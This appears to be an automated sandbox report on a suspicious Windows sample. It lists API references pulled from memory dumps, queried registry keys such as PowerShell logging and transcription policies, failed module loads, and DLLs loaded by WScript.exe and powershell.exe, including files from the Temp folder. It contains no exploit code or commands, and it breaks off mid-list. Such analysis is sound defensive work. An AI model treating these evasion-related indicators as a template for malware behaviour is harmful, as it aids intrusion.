API (Indicator: "InitializeConditionVariable"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp, 00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp, 00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp, 00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00008068.00000000.110665.00FD1000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00008068.00000000.110665.70851000.00000020.mdmp, 00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00008068.00000000.110665.70851000.00000020.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00008068.00000000.110665.70865000.00000002.mdmp")32:Tf86,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 27088-149-00FCD560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 27088-182-00FC8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 27088-182-00FC8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 27088-182-00FC8190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 27088-184-00FCBFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 27088-195-00FC8AF0 "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008068.00000000.110665.00B30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008068.00000000.110665.00B30000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp33:T947,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135]34:Tda3,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008068.00000000.110665.00B30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008068.00000000.110665.00B30000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00008068.00000000.110665.00FC1000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008068.00000000.110665.04EE0000.00000004.mdmp35:T19d9,"WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffef4b00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff1b890000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7fff1e650000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7fff1e830000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 7ffef4a30000 "WScript.exe" loaded module "AMSI.DLL" at base 7fff02140000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fff14850000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffefe620000 "WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff1d740000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff1d740000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff1d740000 "WScript.exe" loaded module "KERNEL32" at base 7fff1e830000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\EN5T9D0W.DLL" at base 7ffef49e0000 "WScript.exe" loaded module "WLDP.DLL" at base 7fff1c270000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7fff1e8e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7fff1d2c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fff1c650000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7fff05930000 "WScript.exe" loaded module "OLE32.DLL" at base 7fff1eaa0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fff1d570000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffefd520000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ffefd0c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ffefa410000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ffef49a0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7fff1d740000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7ffef4950000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7fff118a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7fff104d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7fff10610000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7fff1d740000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7fff1d740000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7fff10890000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 740e0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76610000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 76e20000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74c50000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74c50000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74c50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 74050000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 763c0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 749c0000 "powershell.exe" loaded module "VERSION.DLL" at base 74040000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 73890000 "powershell.exe" loaded module "USER32.DLL" at base 76ea0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 74c50000 "powershell.exe" loaded module "MSCOREE.DLL" at base 74270000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 77230000 "powershell.exe" loaded module "RPCRT4.DLL" at base 777d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 723b0000 "powershell.exe" loaded module "OLE32.DLL" at base 74330000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 77230000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 74f70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72380000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74bc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74c50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 722d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 71870000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 71050000 "powershell.exe" loaded module "COMBASE.DLL" at base 77230000 "powershell.exe" loaded module 